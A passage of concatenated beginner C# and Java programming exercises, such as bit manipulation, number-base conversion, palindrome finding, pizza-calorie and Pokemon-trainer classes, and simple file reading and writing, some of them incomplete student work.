Console.WriteLine("Friday");
break;
case 6:
Console.WriteLine("Saturday");
break;
case 7:
Console.WriteLine("Sunday");
break;
default:
Console.WriteLine("not valid");
break;
}
}
}
<file_sep>using System;
class DecrypTheMessages
{
static void Main()
{
string begining = Console.ReadLine();
while (begining.ToLower() != "start")
{
begining = Console.ReadLine();
}
int counter1 = 0;
int counter2 = 0;
int counter3 = 0;
string decryptedMessage = String.Empty;
while (Console.ReadLine().ToLower() != "end")
{
string message = Console.ReadLine();
counter1++;
if (message != String.Empty)
{
counter3++;
List<string> messages = new List<string>();
messages.Add(message);
}
counter2++;
}
if (counter1 == counter2)
{
Console.WriteLine("No message received.");
}
}
}
<file_sep>using System;
class SequenseOfNumbers
{
static void Main()
{
int negativeNumbers = -1;
for (int i = 2; i <= 10; i += 2)
{
Console.Write(i + ",");
negativeNumbers += -2;
Console.Write(negativeNumbers + ",");
}
Console.WriteLine();
int positive = 0;
int negative = -1;
while (positive < 10)
{
positive += 2;
negative += -2;
Console.Write("{0},{1},", positive, negative);
}
}
}
<file_sep>using System;
class PrintCompanyInformation
{
static void Main()
{
Console.Write("{0,-25}", "Company name:");
string companyName = Console.ReadLine();
Console.Write("{0,-25}", "Company address:");
string companyAddress = Console.ReadLine();
Console.Write("{0,-25}", "Phone number:");
string phoneNumber = Console.ReadLine();
Console.Write("{0,-25}", "Fax number:");
string faxNumber = Console.ReadLine();
Console.Write("{0,-25}", "Web site:");
string webSite = Console.ReadLine();
Console.Write("{0,-25}", "Manager first name:");
string managerFirstName = Console.ReadLine();
Console.Write("{0,-25}", "Manager last name:");
string managerLastName = Console.ReadLine();
Console.Write("{0,-25}", "Manager age:");
string managerAge = Console.ReadLine();
Console.Write("{0,-25}", "Manager phone:");
string managerPhone = Console.ReadLine();
}
}
<file_sep>using System;
class FormattingNumbers
{
static void Main()
{
Console.Write("Enter \"a\": ");
int num1 = int.Parse(Console.ReadLine());
Console.Write("Enter \"b\": ");
double num2 = double.Parse(Console.ReadLine());
Console.Write("Enter \"c\": ");
double num3 = double.Parse(Console.ReadLine());
Console.WriteLine("|{0,-10:X}|{1}|{2,10:#0.##}|{3,-10:F3}|", num1, Convert.ToString(num1, 2).PadLeft(10, '0'), num2, num3);
}
}
<file_sep>import java.util.Scanner;
public class _03_LargestSequenceEqualStrings {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] strings = sc.nextLine().split(" ");
String elementLongestSeq = strings[0];
int countedElements = 1;
int currentCounter = 1;
for (int i = 0; i < strings.length - 1; i++) {
String currentElement = strings[i];
String nextElement = strings[i + 1];
if (currentElement.equals(nextElement)) {
currentCounter++;
} else {
currentCounter = 1;
}
if (currentCounter > countedElements) {
countedElements = currentCounter;
elementLongestSeq = currentElement;
}
}
for (int i = 0; i < countedElements; i++) {
System.out.print(elementLongestSeq + " ");
}
sc.close();
}
}
<file_sep>package pr04_BeerCounter;
public class BeerCounter {
private static Integer beerInStock = 0;
private static Integer beersDrankCount = 0;
public static Integer getBeerInStock() {
return beerInStock;
}
public static Integer getBeersDrankCount() {
return beersDrankCount;
}
public static void buyBeer(Integer beerCount) {
BeerCounter.beerInStock += beerCount;
}
public static void drinkBeer(Integer beerCount) {
BeerCounter.beerInStock -= beerCount;
BeerCounter.beersDrankCount += beerCount;
}
}
<file_sep>using System;
class PointInACircle
{
static void Main()
{
try
{
Console.Write("Enter \"x\": ");
double x = double.Parse(Console.ReadLine());
Console.Write("Enter \"x\": ");
double y = double.Parse(Console.ReadLine());
bool isInside = Math.Sqrt(Math.Pow(x, 2) + Math.Pow(y, 2)) <= 2;
Console.WriteLine(isInside);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.Scanner;
public class _05_CountAllWords {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String line = sc.nextLine();
String[] words = line.split("\\W+");
System.out.println(words.length);
sc.close();
}
}
<file_sep>import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
public class Pr08_WeakStudents {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
Map<String, List<Integer>> studentsMarks = new LinkedHashMap<>();
while (true) {
String line = reader.readLine();
if ("END".equals(line)) {
break;
}
String[] input = line.split("\\s+");
String name = input[0] + " " + input[1];
List<Integer> marks = new ArrayList<>();
for (int i = 2; i < input.length; i++) {
marks.add(Integer.parseInt(input[i]));
}
studentsMarks.put(name, marks);
}
studentsMarks = studentsMarks.entrySet().stream()
//.peek(entry -> System.out.println(entry.getValue()))
.filter(entry -> {
int marksUnder4 = 0;
List<Integer> marks = entry.getValue();
for (int i = 0; i < marks.size(); i++) {
if (marks.get(i) < 4) {
marksUnder4++;
}
}
return marksUnder4 >= 2;
})
//.peek(entry -> System.out.println(entry.getValue()))
.collect(Collectors.toMap(
entry -> entry.getKey(),
entry -> entry.getValue(),
(key, value) -> value,
LinkedHashMap::new));
for (String name : studentsMarks.keySet()) {
System.out.println(name);
}
}
}
}
<file_sep>package pr05_SpeedRacing;
public class Car {
private String model;
private double fuelAmount;
private double fuelCost;
private double distanceTraveled;
public Car(String model, double fuelAmount, double fuelCost) {
this.model = model;
this.fuelAmount = fuelAmount;
this.fuelCost = fuelCost;
this.distanceTraveled = 0;
}
public void calculateTotalDistance(double distance) {
if (this.isFuelEnough(distance)) {
this.distanceTraveled += distance;
this.burnFuel(distance);
} else {
System.out.println("Insufficient fuel for the drive");
}
}
public String getModel() {
return model;
}
@Override
public String toString() {
return String.format("%s %.2f %.0f", this.model, this.fuelAmount, this.distanceTraveled);
}
private boolean isFuelEnough(double distance) {
return distance * this.fuelCost <= fuelAmount;
}
private void burnFuel(double distance) {
this.fuelAmount -= distance * this.fuelCost;
}
}
<file_sep>package pr05_CardCompareTo;
import pr05_CardCompareTo.enums.CardRank;
import pr05_CardCompareTo.enums.CardSuit;
public class Card implements Comparable<Card>{
private CardRank rank;
private CardSuit suit;
private int power;
public Card(CardRank rank, CardSuit suit) {
this.rank = rank;
this.suit = suit;
calculatePower();
}
public CardRank getRank() {
return rank;
}
public CardSuit getSuit() {
return suit;
}
public int getPower() {
return this.power;
}
private void calculatePower() {
this.power = this.rank.getPower() + this.suit.getPower();
}
@Override
public String toString() {
return String.format("Card name: %s of %s; Card power: %d",
this.rank.name(),
this.suit.name(),
this.power);
}
@Override
public int compareTo(Card o) {
return Integer.compare(this.power, o.getPower());
}
}
<file_sep>package pr07_FoodShortage;
import pr07_FoodShortage.interfaces.Buyer;
import pr07_FoodShortage.interfaces.Person;
public abstract class PersonImpl implements Person, Buyer {
private String name;
private int age;
private int food;
public PersonImpl(String name, int age) {
this.setName(name);
this.setAge(age);
this.food = 0;
}
protected void setFood(int food) {
this.food += food;
}
private void setName(String name) {
this.name = name;
}
private void setAge(int age) {
this.age = age;
}
@Override
public String getName() {
return this.name;
}
@Override
public int getAge() {
return this.age;
}
@Override
public int getFood() {
return this.food;
}
}
<file_sep>package pr05_PizzaCalories.entitiesForPizza;
public class Topping {
private static final int DEF_CAL_PER_GR = 2;
private Double toppingType;
private Double weight;
private Double calPerGram;
private Double calories;
public Topping(String toppingType, Double weight) {
this.setToppingType(toppingType);
this.setWeight(toppingType, weight);
this.setCalPerGram();
this.setCalories();
}
public Double getCalories() {
return calories;
}
private void setToppingType(String toppingType) {
switch (toppingType.toLowerCase()) {
case "meat":
this.toppingType = 1.2;
break;
case "veggies":
this.toppingType = 0.8;
break;
case "cheese":
this.toppingType = 1.1;
break;
case "sauce":
this.toppingType = 0.9;
break;
default:
throw new IllegalArgumentException(String.format(
"Cannot place %s on top of your pizza.", toppingType));
}
}
private void setWeight(String toppingType, Double weight) {
if (weight < 1 || weight > 50) {
throw new IllegalArgumentException(String.format(
"%s weight should be in the range [1..50].", toppingType));
}
this.weight = weight;
}
public void setCalPerGram() {
this.calPerGram = DEF_CAL_PER_GR * toppingType;
}
public void setCalories() {
this.calories = this.calPerGram * this.weight;
}
}
<file_sep>import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class _01_FilterArray {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] strings = sc.nextLine().split(" ");
Arrays.stream(strings)
.filter(str -> str.length() > 3)
.forEach(str -> System.out.print(str + " "));
sc.close();
}
}
<file_sep>using System;
class PointInsideCircleOutsideRectangle
{
static void Main()
{
try
{
Console.Write("Enter \"x\": ");
double x = double.Parse(Console.ReadLine());
Console.Write("Enter \"x\": ");
double y = double.Parse(Console.ReadLine());
bool circle = Math.Sqrt(Math.Pow((x - 1), 2) + Math.Pow((y - 1), 2)) <= 1.5;
bool rectangle = x > 5 || x < -1 || y < -1 || y > 1;
bool inCircOutRec = circle && rectangle;
Console.WriteLine(inCircOutRec);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class GravitationOnTheMoon
{
static void Main()
{
try
{
Console.Write("Enter your weight: ");
double weightOnEarth = double.Parse(Console.ReadLine());
double weightOnMoon = weightOnEarth * 0.17;
Console.WriteLine("On the Moon your weghth will be: {0}", weightOnMoon);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.Map;
import java.util.Scanner;
import java.util.TreeMap;
public class Pr12_LegendaryFarming {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
// items points
TreeMap<String, Integer> legendaryItems = new TreeMap<>();
legendaryItems.put("fragments", 0);
legendaryItems.put("motes", 0);
legendaryItems.put("shards", 0);
// items points
TreeMap<String, Integer> junkItems = new TreeMap<>();
while (sc.hasNextLine()) {
String line = sc.nextLine();
if ("".equals(line)) {
break;
}
String[] input = line.split(" ");
String[] items = new String[input.length / 2];
int[] points = new int[input.length / 2];
for (int i = 0; i < input.length; i++) {
if (i % 2 == 0) {
points[i / 2] = Integer.parseInt(input[i]);
} else {
items[i / 2] = input[i];
}
}
for (int i = 0; i < items.length; i++) {
String item = items[i].toLowerCase();
int point = points[i];
boolean isLegendary = "motes".equals(item) || "fragments".equals(item) || "shards".equals(item);
if (isLegendary) {
int oldPoints = legendaryItems.get(item);
int newPoints = oldPoints + point;
legendaryItems.put(item, newPoints);
if (newPoints >= 250) {//printing
legendaryItems.put(item, newPoints - 250);
if ("fragments".equals(item)) {
System.out.println("Valanyr obtained!");
} else if ("motes".equals(item)) {
System.out.println("Dragonwrath obtained!");
} else {
System.out.println("Shadowmourne obtained!");
}
legendaryItems.entrySet().stream()
.sorted((entry1, entry2) -> {
return entry2.getValue().compareTo(entry1.getValue());
}).forEach(entry -> {
System.out.printf("%s: %d%n", entry.getKey(), entry.getValue());
});
for (Map.Entry<String, Integer> junkItem : junkItems.entrySet()) {
System.out.printf("%s: %d%n", junkItem.getKey(), junkItem.getValue());
}
return;
}
} else {
if (!junkItems.containsKey(item)) {
junkItems.put(item, point);
} else {
int oldPoins = junkItems.get(item);
int newPoints = oldPoins + point;
junkItems.put(item, newPoints);
}
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ExtractURLsFromText
{
class ExtractURLsFromText
{
static void Main()
{
string[] input = Console.ReadLine().Split(' ');
List<string> results = new List<string>();
for (int i = 0; i < input.Length; i++)
{
string word = input[i];
bool isUrlAdres = word.IndexOf("http://") != -1 || word.IndexOf("www.") != -1;
if (isUrlAdres)
{
results.Add(word);
//results[i] = word;
}
}
foreach (var item in results)
{
Console.WriteLine(item);
}
}
}
}
<file_sep>import java.util.Scanner;
public class _02_CountSubstringOccurrences {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String line = sc.nextLine().toLowerCase();
String word = sc.nextLine();
int count = 0;
int index = line.indexOf(word);
while (index != -1) {
count++;
index = line.indexOf(word, index + 1);
}
System.out.println(count);
}
}
<file_sep>package pr08_PokemonTrainer;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.LinkedHashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
//trainerName, Trainer
Map<String, Trainer> trainers = new LinkedHashMap<>();
while (true) {
String[] input = reader.readLine().split("\\s+");
if (input[0].equals("Tournament")) {
break;
}
String trainerName = input[0];
String pokemonName = input[1];
String pokemonElement = input[2];
int pokemonHealth = Integer.parseInt(input[3]);
if (!trainers.containsKey(trainerName)) {
trainers.put(trainerName, new Trainer(trainerName));
}
Pokemon pokemon = new Pokemon(pokemonName, pokemonElement, pokemonHealth);
trainers.get(trainerName).addPokemon(pokemon);
}
while (true) {
String element = reader.readLine();
if ("End".equals(element)) {
break;
}
for (Trainer trainer : trainers.values()) {
boolean haveThisPokemon = trainer.containsPokemon(element);
if (haveThisPokemon) {
trainer.setBadges(trainer.getBadges() + 1);
} else {
for (Pokemon pokemon : trainer.getPokemons()) {
pokemon.takeDamage();
if (pokemon.getHealth() <= 0) {
trainer.removePokemon(pokemon);
}
}
}
}
}
trainers.values().stream()
.sorted((tr1, tr2) -> Integer.compare(tr2.getBadges(), tr1.getBadges()))
.forEach(System.out::println);
}
}
<file_sep>package pr04_NumberInReversedOrder;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
String num = reader.readLine();
DecimalNumber number = new DecimalNumber(num);
number.printReversed();
}
}
}
<file_sep>using System;
class NullValuesArithmetic
{
static void Main()
{
int? firstVariable = null;
double? secondVariable = null;
Console.WriteLine(firstVariable + "\n" + secondVariable);
Console.WriteLine(firstVariable + 5);
Console.WriteLine(secondVariable + 5);
Console.WriteLine(firstVariable + null);
Console.WriteLine(secondVariable + null);
}
}
<file_sep>using System;
class ExtractBit3
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
uint num = uint.Parse(Console.ReadLine());
Console.WriteLine(Convert.ToString(num, 2).PadLeft(16, '0'));
uint bitAtPosition2 = (num & (1 << 3)) >> 3;
Console.WriteLine(bitAtPosition2);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}<file_sep>package pr03_StackIterator;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
public class CostemStack implements Iterable<Integer> {
private List<Integer> numbers;
public CostemStack() {
this.numbers = new ArrayList<>();
}
public List<Integer> getNumbers() {
return numbers;
}
public void push(Integer num) {
this.numbers.add(num);
}
public Integer pop() {
if (this.numbers.size() > 0) {
return this.numbers.remove(this.numbers.size() - 1);
}
throw new UnsupportedOperationException("No elements");
}
@Override
public Iterator<Integer> iterator() {
return new StackIterator(this.numbers);
}
}
<file_sep>using System;
class LeastCommonMultiple
{
public static int findLCM(int a, int b) //method for finding LCM with parameters a and b
{
int num1, num2; //taking input from user by using num1 and num2 variables
if (a > b)
{
num1 = a; num2 = b;
}
else
{
num1 = b; num2 = a;
}
for (int i = 1; i <= num2; i++)
{
if ((num1 * i) % num2 == 0)
{
return i * num1;
}
}
return num2;
}
static void Main()
{
int num1, num2;
Console.WriteLine("Enter 2 numbers on different lines to find LCM");
num1 = int.Parse(Console.ReadLine());
num2 = int.Parse(Console.ReadLine());
int LCMresult = findLCM(num1, num2); //ing user input value to method using num1 and num2 variable
Console.WriteLine("LCM of {0} and {1} is {2}", num1, num2, LCMresult);
Console.Read();
}
}
<file_sep>using System;
class Rectangles
{
static void Main()
{
try
{
Console.Write("Enter width: ");
double width = double.Parse(Console.ReadLine());
Console.Write("Enter height: ");
double height = double.Parse(Console.ReadLine());
double perimetur = 2 * ( width + height );
double area = width * height;
Console.WriteLine("Perimetur: {0}\nArea: {1}", perimetur, area);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class AgeAfterTenYears
{
static void Main()
{
Console.Write("Enter your birthday: ");
DateTime birthday = DateTime.Parse(Console.ReadLine());
DateTime timeNow = DateTime.Now;
int howOld = (int)((timeNow - birthday).TotalDays / 365.242199);
//int Years = ((DateTime.Now.Year) - BirthDay.Year);
Console.WriteLine("Now: " + howOld);
Console.WriteLine("After 10 years: " + (howOld + 10));
}
}
<file_sep>using System;
class NumbersFromOneToN
{
static void Main()
{
Console.Write("Enter an integer number: ");
int num = int.Parse(Console.ReadLine());
for (int counter = 1; counter <= num; counter++)
{
Console.WriteLine(counter);
}
}
}
<file_sep>using System;
class Trapezoid
{
static void Main()
{
Console.Write("Enter first base side: ");
double firstSide = double.Parse(Console.ReadLine());
Console.Write("Enter second base side: ");
double secondSide = double.Parse(Console.ReadLine());
Console.Write("Enter height: ");
double height = double.Parse(Console.ReadLine());
double area = ((firstSide + secondSide) / 2) * height;
Console.WriteLine("{0:0.#}", area);
}
}
<file_sep>package pr05_PizzaCalories;
import pr05_PizzaCalories.entitiesForPizza.Dough;
import pr05_PizzaCalories.entitiesForPizza.Topping;
import java.util.ArrayList;
import java.util.List;
public class Pizza {
private String name;
private Dough dough;
private List<Topping> toppings;
public Pizza(String name, Dough dough) {
this.setName(name);
this.dough = dough;
this.toppings = new ArrayList<>();
}
public String getName() {
return name;
}
public double getTotalCalories() {
Double totalCal = this.dough.getCalories();
for (int i = 0; i < this.toppings.size(); i++) {
totalCal += this.toppings.get(i).getCalories();
}
return totalCal;
}
public void addTopping(Topping topping) {
this.toppings.add(topping);
}
private void setName(String name) {
if (name == null || name.trim().isEmpty() || name.length() < 1 || name.length() > 15) {
throw new IllegalArgumentException("Pizza name should be between 1 and 15 symbols.");
}
this.name = name;
}
}
<file_sep>package pr05_FibonacciNumbers;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
int starPositin = Integer.parseInt(reader.readLine());
int endPositin = Integer.parseInt(reader.readLine());
Fibonacci fibNumbers = new Fibonacci(endPositin);
List<Long> fibonacciInRange = fibNumbers.getNumbersInRange(starPositin, endPositin);
String forPrinting = fibonacciInRange.toString();
System.out.println(forPrinting.substring(1, forPrinting.length() - 1));
}
}
}
<file_sep>using System;
class ModifyBitAtGivenPosition
{
static void Main()
{
checked
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
Console.WriteLine(Convert.ToString(number, 2).PadLeft(16, '0'));
Console.Write("Enter the index of the bit you want to change: ");
int index = int.Parse(Console.ReadLine());
Console.Write("Enter the value you want to change to: ");
int value = int.Parse(Console.ReadLine());
int numWithBit1 = number | (1 << index);
int numWithBit0 = number & ~(1 << index);
if (value == 0)
{
Console.WriteLine(Convert.ToString(numWithBit0, 2).PadLeft(16, '0'));
Console.WriteLine(numWithBit0);
}
else if (value == 1)
{
Console.WriteLine(Convert.ToString(numWithBit1, 2).PadLeft(16, '0'));
Console.WriteLine(numWithBit1);
}
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
}
<file_sep>import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class _05_ExtractWords {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
Pattern pattern = Pattern.compile("([a-zA-Z]+)");
while (true) {
String line = sc.nextLine();
if (line.equals("")) {
break;
}
Matcher matcher = pattern.matcher(line);
while (matcher.find()) {
System.out.print(matcher.group() + " ");
}
System.out.println();
}
}
}
<file_sep>package pr04_Тelephony.interfaces;
public interface Callavable {
void call(String phone);
}
<file_sep>using System;
class DecimalToHexadecimal
{
static void Main()
{
long number = long.Parse(Console.ReadLine());
string hexadecimal = string.Empty;
while (number / 16 != 0 || number % 16 != 0)
{
long remainder = number % 16;
if (remainder < 10)
{
hexadecimal = remainder + hexadecimal;
}
else
{
switch (remainder)
{
case 10:
hexadecimal = 'A' + hexadecimal;
break;
case 11:
hexadecimal = 'B' + hexadecimal;
break;
case 12:
hexadecimal = 'C' + hexadecimal;
break;
case 13:
hexadecimal = 'D' + hexadecimal;
break;
case 14:
hexadecimal = 'E' + hexadecimal;
break;
case 15:
hexadecimal = 'F' + hexadecimal;
break;
}
}
number /= 16;
}
Console.WriteLine(hexadecimal);
}
}
<file_sep>import java.io.*;
public class _01_SumLines {
public static void main(String[] args) {
File file = new File("res/lines.txt");
try (BufferedReader bufferedReader = new BufferedReader(new FileReader(file))) {
String inputLine = bufferedReader.readLine();
while (inputLine != null) {
int sumChars = 0;
for (int i = 0; i < inputLine.length(); i++) {
sumChars += inputLine.charAt(i);
}
System.out.println(sumChars);
inputLine = bufferedReader.readLine();
}
} catch (FileNotFoundException fnfe) {
fnfe.getMessage();
} catch (IOException ioe) {
ioe.getMessage();
}
}
}
<file_sep>package pr06_PlanckConstant;
public class Calculation {
private static final Double PLANK_CONSTANT = 6.62606896e-34;
private static final Double PI = 3.14159;
public static Double reducedPlanckConstant() {
return PLANK_CONSTANT / (PI * 2);
}
}
<file_sep>import java.util.HashSet;
import java.util.Scanner;
public class Pr02_SetsOfElements {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int firstSetSize = sc.nextInt();
int secondSetSize = sc.nextInt();
HashSet<Integer> firstSet = new HashSet<>();
HashSet<Integer> secondSet = new HashSet<>();
for (int i = 0; i < firstSetSize; i++) {
int number = sc.nextInt();
//if (!firstSet.contains(number)) {
firstSet.add(number);
//}
}
for (int i = 0; i < secondSetSize; i++) {
int number = sc.nextInt();
//if (!secondSet.contains(number)) {
secondSet.add(number);
//}
}
for (Integer numInFirstSet : firstSet) {
for (Integer numInSecondSet : secondSet) {
if (numInFirstSet == numInSecondSet) {
System.out.print(numInFirstSet + " ");
}
}
}
}
}
<file_sep>import java.text.Collator;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Scanner;
public class Pr11_Palindromes {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] words = sc.nextLine().split("[ .,?!]+");
ArrayList<String> palindromes = new ArrayList<>();
ArrayList<String> sortedPalindromes = new ArrayList<>();
for (int i = 0; i < words.length; i++) {
String word = words[i];
// Check if the word is palindrom
int lastIndex = word.length() - 1;
boolean isPalindrom = true;
for (int j = 0; j < word.length()/2 ; j++) {
if (word.charAt(j) != word.charAt(lastIndex)) {
isPalindrom = false;
}
lastIndex--;
}
if (isPalindrom) {
palindromes.add(word);
}
}
// ArrayList of unique elements
for (int i = 0; i < palindromes.size(); i++) {
for (int j = i + 1; j < palindromes.size(); j++) {
if (palindromes.get(i).equals(palindromes.get(j))) {
palindromes.remove(j);
}
}
}
Collections.sort(palindromes);
Collator collator = Collator.getInstance();
for (int i = 0; i < palindromes.size(); i++) {
for (int j = 0; j < palindromes.size(); j++) {
String pal1 = palindromes.get(i);
String pal2 = palindromes.get(j);
boolean isSecondSmaller = collator.compare(pal1, pal2) < 0;
if (isSecondSmaller) {
String forChange = palindromes.get(i);
palindromes.set(i, palindromes.get(j));
palindromes.set(j, forChange);
}
}
}
System.out.println(palindromes);
}
public static boolean istPalindrom(char[] word){
int i1 = 0;
int i2 = word.length - 1;
while (i2 > i1) {
if (word[i1] != word[i2]) {
return false;
}
++i1;
--i2;
}
return true;
}
}
<file_sep>import java.util.Arrays;
import java.util.Scanner;
public class _02_SortArrayWithStreamAPI {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] numbers = sc.nextLine().split(" ");
String sortingOrder = sc.nextLine();
Arrays.stream(numbers)
.map(num -> Integer.parseInt(num))
.sorted((num1, num2) -> {
if (sortingOrder.equals("Ascending")) {
return num1.compareTo(num2);
}
return num2.compareTo(num1);
}).forEach(num -> System.out.print(num + " "));
sc.close();
}
}
<file_sep>using System;
class DecimalToBinary
{
static void Main()
{
long number = long.Parse(Console.ReadLine());
string binary = string.Empty;
if (number == 0)
{
Console.WriteLine(number);
}
else
{
while (number / 2 != 0 || number % 2 != 0)
{
long bit = number % 2;
binary = bit + binary;
number /= 2;
}
}
Console.WriteLine(binary);
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace CountingWordInText
{
class CountingWordInText
{
static void Main()
{
string parametur = Console.ReadLine().ToLower();
string[] input = Console.ReadLine().Split(
new char[] { ' ', '.', ',', '/', '+', ':', '@', '!', '"', '(', ')', }, StringSplitOptions.RemoveEmptyEntries);
int counter = 0;
for (int i = 0; i < input.Length; i++)
{
bool isEqual = input[i].ToLower() == parametur;
if (isEqual)
{
counter++;
}
}
Console.WriteLine(counter);
}
}
}
<file_sep>using System;
class CatalanNumbers
{
static void Main()
{
double n = double.Parse(Console.ReadLine());
double nMultiply2Factorial = 1; ;
double nFactorial = 1;
double nPlus1Factorial = 1; ;
for (int i = 2; i <= 2 * n; i++)
{
nMultiply2Factorial *= i;
if (i == n)
{
nFactorial = nMultiply2Factorial;
}
if (i == (n + 1))
{
nPlus1Factorial = nMultiply2Factorial;
}
}
double catalanSequence = nMultiply2Factorial / (nPlus1Factorial * nFactorial);
Console.WriteLine(catalanSequence);
}
}
<file_sep>using System;
using System.Numerics;
class TrailingZeroes
{
static void Main()
{
int number = int.Parse(Console.ReadLine());
BigInteger factorial = 1;
for (int i = 2; i <= number; i++)
{
factorial *= i;
}
string converted = Convert.ToString(factorial);
int position = converted.Length;
char lastIndex = converted[position - 1];
int counter = 0;
if (lastIndex == '0')
{
while (lastIndex == '0')
{
counter++;
lastIndex = converted[position - 1 - counter];
}
Console.WriteLine(counter);
}
else
{
Console.WriteLine(0);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
class MethodsPrintingNumbers
{
static void PrintEvenNumbers(int minRange, int maxRange)
{
for (int i = minRange; i <= maxRange; i++)
{
if (i % 2 == 0)
{
Console.WriteLine(i);
}
}
}
static void Main()
{
int minNumber = int.Parse(Console.ReadLine());
int maxNumber = int.Parse(Console.ReadLine());
PrintEvenNumbers(minNumber, maxNumber);
}
}
<file_sep>package pr04_GenericSwapMethodInteger;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
List<Integer> data = new ArrayList<>();
int lineCount = Integer.parseInt(reader.readLine());
for (int i = 0; i < lineCount; i++) {
data.add(Integer.parseInt(reader.readLine()));
}
Integer[] indexes = Arrays.stream(reader.readLine()
.split("\\s+"))
.map(Integer::parseInt)
.toArray(Integer[]::new);
Swapper<Integer> swapper = new Swapper<>(data);
swapper.swap(indexes[0], indexes[1]);
System.out.println(swapper);
}
}
<file_sep>using System;
class ThreeBitSwitch
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
long number = long.Parse(Console.ReadLine());
Console.Write("You will change the bit and next two. Enter position: ");
int position = int.Parse(Console.ReadLine());
long changedNumber = number ^ 7L << position;
//7 trqbva da e long zashoto pri 59 pozicii imam 60 bitovo chislo, koeto ako vkaram v int gubq danni
Console.WriteLine(changedNumber);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.ArrayList;
import java.util.Arrays;
import java.util.Scanner;
public class _02_SequencesEqualStrings {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] line = sc.nextLine().split(" ");
// I can sort them. Like that the EQUAL elements will be one after one, but the words will be sorted by ASCII
// Arrays.sort(line);
//
// for (String word : line) {
// System.out.print(word + " ");
// }
// Use .equals
// !!!It works only if they are in a row!!!
// If you sort them first, "hi" will not be on first plays.
System.out.print(line[0] + " ");
for (int i = 0; i < line.length - 1; i++) {
String current = line[i];
String next = line[i + 1];
if (current.equals(next) == false) {
System.out.println();
System.out.print(next + " ");
} else {
System.out.print(next + " ");
}
}
// That is how it works if they are not in a row //yes hi yes yes bye// if they are not a sequence
// Making a list of unique elements
// ArrayList<String> uniItems = new ArrayList<String>();
// for (int i = 0; i < line.length; i++) {
// if (uniItems.contains(line[i]) == false) {
// uniItems.add(line[i]);
// }
// }
//
// for (int i = 0; i < uniItems.size(); i++) {
// for (int j = 0; j < line.length; j++) {
// if (uniItems.get(i).equals(line[j])) {
// System.out.print(uniItems.get(i) + " ");
// }
// }
// System.out.println();
// }
sc.close();
}
}
<file_sep>import java.util.Scanner;
import java.util.function.Consumer;
public class Pr01_ConsumerPrint {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] names = sc.nextLine().split("\\s+");
Consumer<String> print = string -> System.out.println(string);
for (String name : names) {
print.accept(name);
}
}
}
<file_sep>using System;
class IsoscelesTriangle
{
static void Main()
{
Console.OutputEncoding = System.Text.Encoding.Unicode;
char copyright = '\u00A9';
Console.WriteLine("{0}{1}", new string(' ', 3), new string(copyright, 1));
Console.WriteLine("{0}{1}{2}{1}", new string(' ', 2), new string(copyright, 1), new string(' ', 1));
Console.WriteLine("{0}{1}{2}{1}", new string(' ', 1), new string(copyright, 1), new string(' ', 3));
Console.WriteLine("{0}{1}{0}{1}{0}{1}{0}", new string(copyright, 1), new string(' ', 1));
}
}
<file_sep>import java.io.*;
public class _02_AllCapitals {
public static void main(String[] args) {
File fileInput = new File("res/lines.txt");
File fileOutput = new File("res/linesUpperCase.txt");
try (BufferedReader bufferedReader = new BufferedReader(new FileReader(fileInput))) {
String inputLine = bufferedReader.readLine();
while (inputLine != null) {
FileWriter fileWriter = new FileWriter(fileOutput, true);
PrintWriter printWriter = new PrintWriter(fileWriter, true);
// If printWriter.print(...); will not flush automatically.You must write printWriter.flush() after that;
printWriter.println(inputLine.toUpperCase());
inputLine = bufferedReader.readLine();
}
} catch (FileNotFoundException fnfe) {
fnfe.getMessage();
} catch (IOException ioe) {
